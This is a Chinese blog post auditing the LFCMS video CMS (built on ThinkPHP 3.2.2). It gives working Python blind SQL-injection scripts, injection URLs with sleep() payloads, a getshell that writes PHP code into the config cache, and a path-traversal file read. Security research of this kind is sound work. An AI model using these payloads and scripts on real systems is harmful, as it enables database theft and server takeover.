LFCMS的一次审计

Posted 0daybug

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了LFCMS的一次审计相关的知识,希望对你有一定的参考价值。

前言

最近想着提升一下审计代码的能力,于是找了一些小众的CMS系统来审计一下,希望可以在审计过程中对MVC设计模式的程序有更深的理解,本文挑选了一个小众的影视管理系统LFCMS,下载地址见文末

漏洞分析

前台sql注入(一)

该处前台注入点实质上是由于程序所采用的框架漏洞所导致的,程序采用了thinkphp3.2.2,众所周知该版本的tp框架存在sql注入,详细分析文章可以参考下面的链接:

https://xz.aliyun.com/t/2629

回到lfcms,漏洞起始点位于/Application/Home/Controller/NewsController.class.php中的index方法,代码如下

技术图片

在代码第六行调用了News模型中的detail方法,跟进该方法

技术图片

可以看到在第八行进而调用了tpfind方法,在该版本中find方法是可以进行注入的,同时参数$id是我们可控的,首先我们来看一下正常的输入情况(图中域名为本地搭建解析)

技术图片

根据tp3.2的注入点构造一下语句,访问如下链接

http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and 1--

页面与正常访问相比没有变化,查看一下数据库日志,看下后端数据库语句

技术图片

可以看到在id处已经可以进行sql语句的拼接,也就证明该处是存在可利用的注入点的,由于本套程序对于错误信息是有屏蔽的,在这里我们很难利用报错注入带出数据,在该处可以考虑使用布尔类型的盲注,两种回显状态如下

技术图片

技术图片

接着写一下脚本(以查询数据库名为例)

import requests
url = ‘http://lfcms.com/index.php/Home/News/index/?id[alias]=where id=1 and ‘
result = ‘‘
for i in range(1,50):
    print(‘-----------------------------‘)
    for j in range(32,127):
        payload = ‘if((ascii(substr((select database()),{},1))={}),1,0)--‘.format(i,j)
        temp = url+payload
        try:
            html = requests.get(temp,timeout=10)
            if ‘tttest‘ in html.text:
                result+=chr(j)
                print(result)
                break
        except:
            print(‘[-]error‘)

结果如下

技术图片

相同原理的利用点还有很多,如位于/Application/Home/Controller/MovieController.class.php中的index方法的id参数,这里就不再重复分析了

前台SQL注入(二)

漏洞起始点位于/Application/Home/Controller/AjaxController.class.php文件中的randMovie方法,代码如下

技术图片

第七行代码中调用了Ajax模型中的randMovie方法,同时limitcategory是我们输入的可控的参数,跟进randMovie方法

public function randMovie($limit=6,$category=‘‘) {
    if($category) {
        $type=‘and category=‘.$category;
    }
    $prefix=C(‘DB_PREFIX‘);
    $mlist=M()->query(‘SELECT * FROM `‘.$prefix.‘movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `‘.$prefix.‘movie`)-(SELECT MIN(id) FROM `‘.$prefix.‘movie`))+(SELECT MIN(id) FROM `‘.$prefix.‘movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx ‘.$type.‘ ORDER BY t1.id LIMIT ‘.$limit);
    foreach($mlist as $key=>$value) {
        $list[$key]=D(‘Tag‘)->movieChange($value,‘movie‘);
    }
    return $list;
}

在这里注意到$type$limitsql语句执行时均没有被单引号包裹,直接拼接到语句当中,这里就存在了sql注入的可能,首先我们在movie表里放一条数据,看一下正常执行时sql语句是如何执行的

技术图片

查看数据库日志可以得到如下sql语句

SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 ORDER BY t1.id LIMIT 1

接着来尝试下进行注入,测试链接如下

http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and sleep(5)

页面确实延迟了5秒,那么接着看一下后端数据库的语句

SELECT * FROM `lf_movie` AS t1 JOIN (SELECT ROUND(RAND() * ((SELECT MAX(id) FROM `lf_movie`)-(SELECT MIN(id) FROM `lf_movie`))+(SELECT MIN(id) FROM `lf_movie`)) AS idx) AS t2 WHERE t1.id >= t2.idx and category=2 and sleep(5) ORDER BY t1.id LIMIT 1

基本可以判断该处存在着可用的注入点,接下来编写脚本跑一下数据库用户名试试

import requests
url = ‘http://lfcms.com/index.php/Ajax/randMovie?limit=1&category=2 and ‘
s = requests.session()
result = ""
for i in range(1,50):
    print(‘==========================‘)
    for j in range(32,127):
        payload = "if((ascii(substr((select user()),{},1))={}),sleep(5),0)".format(i,j)
        temp = url+payload
        try:
            s.get(temp,timeout=5)
        except:
            result+= chr(j)
            print(result)
            break

技术图片

相同原理的利用点同样不止一个,如/Application/Home/Controller/PlayerController.class.php文件中的down方法调用了模型movie中的getPlayerUrl方法,该方法的pid参数同样可以注入

后台getshell

该漏洞可以利用的原因一是在于后台对于站点配置数据没有做好过滤,二是利用了tp3.2版本下本身存在的缓存漏洞,漏洞起始利用点位于/Application/Admin/Controller/ConfigController.class.php中的save方法,代码如下

技术图片

该处将后台设置的配置项直接存储在数据库中,接着当用户访问站点前台页面时,会调用/Application/Home/Controller/HomeController.class.php中的_initialize方法,部分代码如图

技术图片

当第一次访问时,会调用第二十一行的缓存函数写缓存文件,在这里如果在设置配置数据的时候写入恶意的PHP代码,就可以在缓存文件中写入我们想要执行的代码,进而getshell,首先我们来到后台用户配置设置处

技术图片

提交数据抓取数据包,在其中一个设置项中填入php代码,由于缓存文件对于配置项进行了注释,为了逃逸注释我们需要另起一行写入PHP代码并将后面的无用数据注释掉,如图

技术图片

然后访问前台页面生成缓存文件,缓存文件在/Application/Runtime/Temp/目录下,文件名为缓存数据名称的MD5值,在这里也就是DB_CONFIG_DATAMD5值,我们直接访问缓存文件

http://lfcms.com/Application/Runtime/Temp/95a1fe934b68ebfee8468bf0bc4f0000.php

技术图片

成功的写入了PHP代码

任意文件读取

漏洞起始点位于/Application/Admin/Controller/TemplateController.class.php中的edit方法,该方法用作后台模板编辑,关键代码如下

技术图片

我们传入的路径需要将/替换为*接着调用了read方法,跟进该方法

public function read($filename,$type=‘‘){
      return $this->get($filename,‘content‘,$type);
}

继续跟进get方法

public function get($filename,$name,$type=‘‘) {
    if(!isset($this->contents[$filename])) {
        if(!is_file($filename)) return false;
        $this->contents[$filename]=file_get_contents($filename);
    }
    $content=$this->contents[$filename];
    $info   =   array(
                ‘mtime‘     =>  filemtime($filename),
                ‘content‘   =>  $content
            );
    return $info[$name];
}
}

该方法中返回了要读取的文件内容,可以看到在整个流程中没有对传入参数path的过滤,导致我们可以跨目录读文件,下面来验证一下,尝试读取一下跟目录index.php文件,测试链接如下

http://lfcms.com/admin.php?s=/Template/edit/path/*..*index.php

技术图片

成功的读到了CMS的入口文件

参考链接

源码下载:https://www.mycodes.net/47/8132.htm

https://xz.aliyun.com/t/2629

https://blog.csdn.net/qq_35669659/article/details/89372025

以上是关于LFCMS的一次审计的主要内容,如果未能解决你的问题,请参考以下文章

对VAuditDemo的一次审计

PHP代码审计 | 记一次CMS代码审计

网络安全记一次代码审计

网络安全记一次代码审计

第一次代码审计---消息果CMS

记一次小有成就的代码审计